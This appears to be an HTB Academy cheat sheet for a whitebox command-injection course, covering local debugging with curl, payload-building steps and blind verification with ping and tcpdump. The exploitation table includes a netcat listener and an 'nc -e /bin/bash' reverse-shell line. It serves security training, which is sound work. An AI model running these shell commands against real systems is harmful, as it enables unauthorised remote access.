WHITEBOX PENTESTING 101: COMMAND INJECTION

CHEAT SHEET

Local Debugging

Command	Description
`node server.js`	run server locally
`curl http://127.0.0.1:21440/admin -X POST -d '{}'`	curl POST request
`curl http://127.0.0.1:21440/admin -X POST -d '{"key":"this is just a test!"}'`	curl POST request with json data

Exploitation

Code Injection Steps
1. Prepare the Payload
2. Comment Out the Rest
3. Even Quotes/Parentheses
4. Escaping/Encoding Special Characters
5. Examine Payload

Command	Description
`jq -aR .`	Escape json input
`sudo tcpdump -i lo icmp`	Blind verification: Listen for pings
`ping -c 3 127.0.0.1`	Blind verification: ping injection test
`nc -lvnp 1234`	Remote Shell: start netcat listener
`nc -e /bin/bash 127.0.0.1 1234`	Remote Shell: send basic shell

Helpful Websites

Website
Prettier
Url Encode/Decode
Reverse Shells - PayloadAllTheThings

HTB ACADEMY CHEATSHEET